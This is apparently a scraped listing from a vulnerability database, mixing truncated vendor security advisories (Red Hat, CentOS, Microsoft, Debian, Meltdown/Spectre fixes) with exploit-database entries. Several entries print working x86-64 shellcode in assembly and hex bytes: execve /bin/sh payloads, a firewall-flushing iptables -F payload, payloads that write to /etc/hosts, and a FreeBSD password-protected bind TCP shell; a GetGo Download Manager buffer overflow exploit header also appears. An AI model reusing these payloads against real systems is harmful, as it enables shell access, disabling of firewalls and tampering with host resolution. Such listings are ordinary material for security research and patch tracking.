Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)

Linux/x86-64 - Execute /bin/sh Shellcode 24 bytes. Shellcode exploit for Linuxx86-64 platform / global start section .text start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall / include include char code =...

Linux/x86-64 - Execute /bin/sh Shellcode (27 bytes)

/ Execute /bin/sh - 27 bytes Dad 0x7ffff7aeff20 : mov eax,0x3b ; 0x7ffff7aeff25 : syscall ; main: ;mov rbx, 0x68732f6e69622f2f ;mov rbx, 0x68732f6e69622fff ;shr rbx, 0x8 ;mov rax, 0xdeadbeefcafe1dea ;mov rbx, 0xdeadbeefcafe1dea ;mov rcx, 0xdeadbeefcafe1dea ;mov rdx, 0xdeadbeefcafe1dea xor eax, ea...

Linux/x86-64 - execve (/sbin/iptables, [/sbin/iptables, -F], NULL) Shellcode (43 bytes)

/ section .text global start start: push 0x3b pop rax cdq push rdx push word 0x462d push rsp pop rcx push rdx mov rbx, 0x73656c6261747069 push rbx mov rbx, 0x2f2f2f6e6962732f push rbx push rsp pop rdi push rdx push rcx push rdi push rsp pop rsi ; execve"/sbin/iptables", "/sbin/iptables", "-F",...

Linux/x86-64 - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (110 bytes)

/ ; Title: Add map in /etc/hosts file - 110 bytes ; Date: 2014-10-29 ; Platform: linux/x8664 ; Website: http://osandamalith.wordpress.com ; Author: Osanda Malith Jayathissa @OsandaMalith global start section .text start: ;open xor rax, rax add rax, 2 ; open syscall xor rdi, rdi xor rsi, rsi push...

Linux/x86-64 - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (96 bytes)

/ global start section .text start: ;open push 2 pop rax xor rdi, rdi push rdi ; 0x00 mov rbx, 0x7374736f682f2f2f ; ///hosts push rbx mov rbx, 0x2f2f2f2f6374652f ; /etc//// push rbx push rsp pop rdi xor rsi,rsi mov sil,4 sal rsi,8 mov sil,1 syscall ;write push rax pop rdi push 1 pop rax jmp data...

Linux/x86-64 - Execute /bin/sh Shellcode (24 bytes)

/ global start section .text start: push 59 pop rax cdq push rdx mov rbx,0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi syscall / include include char code = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; // cha...

Tracking changes in CERT bulletins and Nessus plugins using Vulners Time Machine

If you use Vulners.com vulnerability search engine, you probably know that it has a real "Time Machine". Each time Vulners sees some changes on a source page it creates a new version of security object. And you can see the full history of changes in a nice GUI: In most cases, the vendor just...

Debian: Security Advisory (DLA-866-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes)

/ Gitsnik, @dracyrys FreeBSD x8664 execve, 28 bytes / C source: char code = \ "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05"; Intel Assembly: global start ; ; 28 byte execve FreeBSD x8664 ; ; gitsnik@bsd64$ nasm -f elf64...

FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes)

/ Gitsnik, @dracyrys FreeBSD x8664 bindtcp with passcode, 127 bytes Passcode: R2CBw0cr / C Source: char code = \ "\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x99" "\x0f\x05\x48\x97\xba\xff\x02\xaa\xaa\x80" "\xf2\xff\x52\x48\x89\xe6\x99\x04\x66\x80" "\xc2\x10\x0f\x05\x04\x6a\x0f\x05\x04\x1e"...

Security Update for Microsoft Outlook 2016 (KB4011626) 64-Bit Edition

A security vulnerability exists in Microsoft Outlook 2016 64-Bit Edition that could allow arbitrary code to run when a maliciously modified file is opened. This update resolves that vulnerability...

Security Update for Microsoft Office 2013 (KB4011636) 64-Bit Edition

A security vulnerability exists in Microsoft Office 2013 64-Bit Edition that could allow arbitrary code to run when a maliciously modified file is opened. This update resolves that vulnerability...

RHEL 7 : rhvm-appliance (RHSA-2018:0045) (Meltdown) (Spectre)

An update for rhvm-appliance is now available for RHEV 4.X, RHEV-H, and Agents for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

RHEL 6 / 7 : rhev-hypervisor7 (RHSA-2018:0046) (Meltdown) (Spectre)

An update for rhev-hypervisor7 is now available for RHEV 3.X Hypervisor and Agents for Red Hat Enterprise Linux 6 and RHEV 3.X Hypervisor and Agents for Red Hat Enterprise Linux 7 ELS. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability...

RHEL 6 : kernel-rt (RHSA-2018:0021)

The remote Redhat Enterprise Linux 6 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2018:0021 advisory. The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirement...

Important kernel security update: Fixes for Meltdown and Spectre exploits; new kernel 3.10.0-693.11.6.vz7.40.4, Virtuozzo 7.0 Update 6 Hotfix 3 (7.0.6-710)

This update provides a new Virtuozzo 7.0 kernel 3.10.0-693.11.6.vz7.40.4 that is a rebase to the Red Hat Enterprise Linux 7 kernel 3.10.0-693.11.6.el7. The rebase fixes an industry-wide issue that was found in the way many modern microprocessor designs have implemented speculative execution of...

GetGo Download Manager 5.3.0.2712 - Proxy Buffer Overflow Exploit

Exploit for windows platform in category dos / poc Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712 Date: 01-02-2018 Tested on Windows 8 64 bits Exploit Author: devcoinfet Contact: https://twitter.com/wabefet Software Link:...

(RHSA-2018:0046) Important: rhev-hypervisor7 security update

The rhev-hypervisor7 package provides a Red Hat Enterprise Virtualization Hypervisor ISO disk image. The Red Hat Enterprise Virtualization Hypervisor is a dedicated Kernel-based Virtual Machine KVM hypervisor. It includes everything necessary to run and manage virtual machines: A subset of the Re...

CentOS 7 : kernel (CESA-2018:0007) (Meltdown) (Spectre)

An update for kernel is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from th...

GetGo Download Manager 5.3.0.2712 - 'Proxy' Buffer Overflow

Exploit Title: Buffer overflow vulnerability in GetGo Download Manager proxy options 5.3.0.2712 Date: 01-02-2018 Tested on Windows 8 64 bits Exploit Author: devcoinfet Contact: https://twitter.com/wabefet Software Link: http://www.getgosoft.com/getgodm/ Category: webapps Attack Type: Remote Impac...